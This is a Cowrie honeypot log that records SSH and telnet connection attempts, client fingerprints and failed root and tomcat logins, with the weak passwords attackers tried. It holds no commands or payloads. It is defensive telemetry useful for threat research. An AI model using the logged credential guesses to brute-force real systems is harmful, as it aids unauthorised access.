{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:35:bd:5f:20:a6:3c:9c:cc:e9:81:4e:b4:49:f5:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArrC+oNF8WtIv2VWx7sOXZ/DG0fN8/w8AbXoRTUf2W0u8cdULUOaR9DmJd0MA2glu3w+i+Z2HDR/9gAWEj1rgI2WxqYrVrUf0EQxAMkoQSAMnyES98nKgb3TwbzwJEHxl3lTo4CRy7+5WUbpUQ3vm2lYFjs+M7Qpw4vDRhplbyZLcK16u8MsXx9epp8bR/g0QqOu1hmXQYaiVbROwzEJdonwhugr9S1kdbFLOKWk9dJqNZsAGnrco1IxWKlLY27HeupxDqBx5ss/CQh7NDlBdlVe1r6ObKGZacxtM2bV0Fn7G+/R+W+sgeVsb3+/2EzxenTkZVOa2cVRc0P+OUQZppw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.968911Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:0f:7f:e5:68:16:01:f3:2f:a8:be:ac:61:f3:31:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnZExH3zU7awLKo5fi1amXnHFS2GI8mpIHqI/jCc/sd9CA/eVQa57Q1z8kdyJmzphd48Ukajgs/ngSffrUkO30rtIxncm0jSXKc1/ABZN4MuaE7UW9nO0ue63kHV8407v3FlNk013cWi4tWiCTaIRgfOFS+tXH7SxN/IFQr+4SV4ub3p60YMnV7R8cernQYDKesMCzrF8dwlMOQT56QDVcjhb4MGfUBzd2m6VsNEzcz9OzNDuzSqWO9pbdwAD91ABq8oDxTaR5RL2YWbjzxIEPp0EFoDCdKDkD4undQ7OrA9ieN6znVSnH5yVeH5i7OF0k+9JJqpzfRcTP/qMk975","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:0f:7f:e5:68:16:01:f3:2f:a8:be:ac:61:f3:31:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.977019Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:0f:7f:e5:68:16:01:f3:2f:a8:be:ac:61:f3:31:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnZExH3zU7awLKo5fi1amXnHFS2GI8mpIHqI/jCc/sd9CA/eVQa57Q1z8kdyJmzphd48Ukajgs/ngSffrUkO30rtIxncm0jSXKc1/ABZN4MuaE7UW9nO0ue63kHV8407v3FlNk013cWi4tWiCTaIRgfOFS+tXH7SxN/IFQr+4SV4ub3p60YMnV7R8cernQYDKesMCzrF8dwlMOQT56QDVcjhb4MGfUBzd2m6VsNEzcz9OzNDuzSqWO9pbdwAD91ABq8oDxTaR5RL2YWbjzxIEPp0EFoDCdKDkD4undQ7OrA9ieN6znVSnH5yVeH5i7OF0k+9JJqpzfRcTP/qMk975","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.980777Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.992204Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":52526,"dst_ip":"10.17.0.5","dst_port":22,"session":"a721ed34fec2","protocol":"ssh","message":"New connection: 103.75.182.198:52526 (10.17.0.5:22) [session: a721ed34fec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:07.949300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:07.954314Z","src_ip":"103.75.182.198","session":"a721ed34fec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:08.193854Z","src_ip":"103.75.182.198","session":"a721ed34fec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456r","message":"login attempt [root/123456r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:08.915084Z","src_ip":"103.75.182.198","session":"a721ed34fec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:10.156924Z","src_ip":"103.75.182.198","session":"a721ed34fec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55442,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb11c6c9a3f9","protocol":"ssh","message":"New connection: 31.40.204.166:55442 (159.203.135.109:22) [session: fb11c6c9a3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:10.680181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:10.694823Z","src_ip":"31.40.204.166","session":"fb11c6c9a3f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:10.899596Z","src_ip":"31.40.204.166","session":"fb11c6c9a3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:11.424182Z","src_ip":"31.40.204.166","session":"fb11c6c9a3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:12.622583Z","src_ip":"31.40.204.166","session":"fb11c6c9a3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.44593572616577,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:12.948998Z","src_ip":"152.42.224.71","session":"b0171eb15a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":58938,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be9826e04c9","protocol":"ssh","message":"New connection: 182.93.50.90:58938 (10.17.0.5:22) [session: 1be9826e04c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:14.047435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:14.051960Z","src_ip":"182.93.50.90","session":"1be9826e04c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:14.272402Z","src_ip":"182.93.50.90","session":"1be9826e04c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234","message":"login attempt [root/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:15.181690Z","src_ip":"182.93.50.90","session":"1be9826e04c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.639432191848755,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:15.222167Z","src_ip":"152.42.224.71","session":"c4074d75ee1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:16.405881Z","src_ip":"182.93.50.90","session":"1be9826e04c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49660,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43702749c64","protocol":"ssh","message":"New connection: 31.40.204.166:49660 (159.203.135.109:22) [session: d43702749c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:22.882884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:23.001470Z","src_ip":"31.40.204.166","session":"d43702749c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:23.197330Z","src_ip":"31.40.204.166","session":"d43702749c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:23.682199Z","src_ip":"31.40.204.166","session":"d43702749c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:24.814830Z","src_ip":"31.40.204.166","session":"d43702749c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49360,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede0c7f260b5","protocol":"telnet","message":"New connection: 152.42.224.71:49360 (10.17.0.5:23) [session: ede0c7f260b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:25.391664Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49366,"dst_ip":"10.17.0.5","dst_port":23,"session":"057f68e5cbaa","protocol":"telnet","message":"New connection: 152.42.224.71:49366 (10.17.0.5:23) [session: 057f68e5cbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:25.725104Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":37050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1c29fd37788","protocol":"ssh","message":"New connection: 170.106.159.59:37050 (10.17.0.5:22) [session: d1c29fd37788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:26.633939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:26.638933Z","src_ip":"170.106.159.59","session":"d1c29fd37788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:26.708564Z","src_ip":"170.106.159.59","session":"d1c29fd37788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@!QAZ","message":"login attempt [root/1qaz@!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:27.019545Z","src_ip":"170.106.159.59","session":"d1c29fd37788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:28.094443Z","src_ip":"170.106.159.59","session":"d1c29fd37788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38876,"dst_ip":"10.17.0.5","dst_port":23,"session":"5659c9b06682","protocol":"telnet","message":"New connection: 152.42.224.71:38876 (10.17.0.5:23) [session: 5659c9b06682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:31.406162Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38878,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba57a57f072f","protocol":"telnet","message":"New connection: 152.42.224.71:38878 (10.17.0.5:23) [session: ba57a57f072f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:31.639727Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1bd2ee77d5c","protocol":"telnet","message":"New connection: 152.42.224.71:38880 (10.17.0.5:23) [session: b1bd2ee77d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:34.405643Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39784,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c2e5f1ad125","protocol":"ssh","message":"New connection: 31.40.204.166:39784 (159.203.135.109:22) [session: 2c2e5f1ad125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:34.727619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:34.732782Z","src_ip":"31.40.204.166","session":"2c2e5f1ad125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:34.895426Z","src_ip":"31.40.204.166","session":"2c2e5f1ad125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:35.391213Z","src_ip":"31.40.204.166","session":"2c2e5f1ad125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64381,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eb765105218","protocol":"ssh","message":"New connection: 152.42.212.128:64381 (10.17.0.5:22) [session: 5eb765105218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:35.568370Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:35.575298Z","src_ip":"152.42.212.128","session":"5eb765105218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:35.578535Z","src_ip":"152.42.212.128","session":"5eb765105218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:36.517946Z","src_ip":"31.40.204.166","session":"2c2e5f1ad125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.62917971611023,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:37.786684Z","src_ip":"152.42.224.71","session":"8921a51be120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.03796410560608,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:38.514266Z","src_ip":"152.42.224.71","session":"ae21e99b872a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d322e4abcb70","protocol":"ssh","message":"New connection: 37.233.85.71:47514 (10.17.0.5:22) [session: d322e4abcb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:39.050774Z"}
